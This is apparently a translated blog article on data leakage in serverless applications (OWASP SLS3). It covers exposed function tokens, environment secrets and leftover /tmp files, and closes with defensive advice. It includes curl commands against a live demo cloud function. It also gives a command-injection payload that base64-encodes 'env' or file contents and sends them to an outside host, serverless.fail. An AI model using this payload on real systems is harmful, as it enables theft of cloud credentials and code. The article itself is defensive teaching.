深入研究攻击Serverless环境下的应用SLS3:数据泄露

好消息，The OWASP Serverless Top 10 预览版已经发布。让我们接着本系列，继续探索Serverless应用领域的安全问题。对于Serverless来说，开发者不能自主部属治安官（安全控制器），攻击者也几乎不知道该如何开展行动。

前面的文章中，我研究了事件注入和权限绕过攻击。在本系列的第三篇文章中，我将讨论最令公司们担心的漏洞之一。我们经常能听到重大数据泄露事件，包括最近的泄露5000万Facebook用户等。虽然数据泄露一般只是用户的隐私被侵犯，但公司要为此付出非常高昂的代价。在一些情况下，甚至能让公司倒闭。一家Saas（软件服务）公司，Code Space就是这么一个例子，黑客入侵了它的Amazon Elastic Compute Cloud控制面板，删除所有的EBS快照和实例，S3 储存桶，AMI（镜像）和一些核心实例，最终完全依赖AWS服务的一家公司就这么倒闭了。

你可能会对自己说“我知道这些，但是，对于Serverless架构有什么不同？”。你是个聪明的家伙。

Code Space公司在2014年被攻击，在那时下“Serverless”这个词还未出现。但是，在那时候云服务器和资源（例如S3）可以说是完整的Serverless服务中的一部分了。如果我们在等式中加几个函数（在数学中，这是没有意义的），重新排列字母（比如AMI—>IAM），增加一些缩略词比如EFS,SQS,SES等（都是AWS知名服务），风险同样会成倍增加。如果数据没有得到很好的保护，会面临很大的泄露风险。

现在你可能会说“所以呢？我们有了更多的资源，但是暴露攻击面是相同的”。你说对了一部分（给你两个方向）。现在我们必须从不同角度去审视全局。

第一，处理数据。保护静态和动态的数据。加密你放在的云储存仓库，备份和数据库的数据。云服务提供商通常会给你一些小工具，你能轻松正确地完成。用它们提供的KMS/Key Vault（密钥管理服务）安全储存你的数据。同时确保资源配置正确，这样你就可以防止大规模地数据泄露，甚至可以彻底避免泄露。还有，确保你的密钥不会出现在代码储存库（例如Github）和其他容易被攻击者找到的地方。

对于动态数据来说，你应该确保给所有传输使用TLS协议（传输层安全性协议） 。

第二，有趣的是Serverless环境下的数据。我们的云端服务器（例如：EC2）丢失了/etc/passwd或者/etc/shadow文件，我们也不会很担心。你猜怎么着，这类文件不再敏感了。如果攻击者礼貌地问我，我甚至可以送给他们。

我为什么可以这样做？因为这类文件属于云服务器提供商，我们的应用运行在可随时替换的环境。

问题来了，我们到底要保护什么？答案很简单，但是不同的云服务提供商有不同的情况。

你的机密文件

你可能没有自己的服务器，你的代码储存在云储存库或者代码存储库（你不用担心他们的安全），并且你可以管理运行这个子仓库。这个子仓库的位置由运行环境和服务商来决定。举个例子：

你在AWS云上的/var/task目录中存放了一些NodeJS代码，然后你又在GCP（谷歌云平台）的目录(./)上存放了一堆Python代码。现在，你可以自己尝试以下，用下面的curl代码运行cat和ls命令，展示在GCP上任何你感兴趣的文件和目录。

curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode


curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode


你的密钥文件

这里我们以AWS为例（不同的服务商有不同的情况），提出两种情况：

第一种情况。你完全忽视安全问题，你的函数，内存配置，日志组名称，版本信息等都都没有做权限控制。最大的问题是，函数的tokens也是透明的。

这些token的控制着用户对函数的使用权限。所以，如果这个函数有很高的系统权限，可以遍历数据库或者编辑储存桶，那么，一旦这些tokens落到坏人手中，将导致一场灾难。攻击者甚至不用使用你的函数，只需简单的在自己的电脑AWS cli命令行中使用这些token（下图中aws profile stolen_keys包含了了那些偷来的tokens，比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN）。

因为这些token的存在，无论你喜欢与否，你都要限制所有函数的权限为能正常运行的最小权限。举个例子，如果某个函数需要读取S3储存桶，你应该确保它只能读取它需要的那一些。

第二种情况。你做足了权限控制，所有函数的使用都需要密钥，并且密钥作为环境变量传递。只有需要使用该函数时（如代码唤醒，系统进程唤醒），密钥才会传递。如果密钥包含了敏感信息，你应该考虑加密（Base64）它们。如果你这样做，系统进程需要解析（见图一env）。但是该函数如果受代码注入影响，那么攻击者可以通过以下命令解码直接读取密钥的真实值。

ENCRYPTED = os.environ['third_party_api_key']


DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']


你的数据文件

在Serverless环境容器中，除了/tmp文件夹，其他的只有只读权限，你可以在那里写入文件。当函数完成运行后的一段时间，Serverless环境和所有文件通常会被系统自动清除。对于AWS来说，当函数运行完成后4分内没有再次唤醒，首先只会删除该函数的环境。但是在这段时间内被再次唤醒，该函数的运行环境还是原先的环境。不能保证一定是这样的，但是可以确定类似的事件一定会在特定时间段内完成。因为考虑到性能的原因，云服务商提供商必须那么做。

如果你的函数存在漏洞并且它所在的环境有敏感文件，那么它们存在被盗或者被毁坏的风险。为了深入理解，你可以用先前的两个curl命令自己操作一下。你可以自己可以写入数据(base64编码)到/tmp/b64文件夹。

当运行”ls”命令时，你可以看到/out/b64文件大小为252字节。然而，当运行完“cat”，再次使用”ls”，你会发现它的大小标为1496字节。这意味着这时”ls”命令显示的是”cat”命令的调用的输出结果。这时你再次运行”ls”，大小又变回252字节。

那么，我们该担心些什么？只要功能函数存在任何代码执行漏洞，或者进程注入漏洞和api滥用(eg.eval)，攻击者都可以利用上面的方法泄露或者更改环境中的敏感数据。举个例子，这里存在一个json类型的代码注入漏洞的功能函数，攻击者可以轻松利用：

--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}


$secret可以是“cat main.py”用来获取代码文件，或者是“env”该环境的盗取token和密钥，还可以是“cat /tmp/leftover.file”盗取未受保护的/tmp文件夹中遗留的敏感文件。

有趣的是还可以base64编码然后发送到攻击者自己的服务器中（例子中是serverless.fail）。现在只要解码它，第二天，新闻头条将会出现你的“英雄事迹”。

如何保护

那么我们该如何防止那些发生？我总结了以下几点：

1. 尽量压缩存储的数据


2. 保护静态，动态的数据。使用云服务商提供的加密管理服务来储存数据，机密文件，环境变量（比如 AWS Environment variable encryption, Handling Azure secrets, Storing secrets in GCP）


3. 避免在代码储存库或者其他地方泄露密钥（例如github上）


4. 严格限制函数的权限以减少攻击面


5. 执行代码审查和静态分析以减少代码存在漏洞


6. 监控依赖关系，避免已知的漏洞出现在你的代码中


7. 使用完/tmp上的文件后，删除它们

攻击演示视频

如果你想观看演示视频，这里有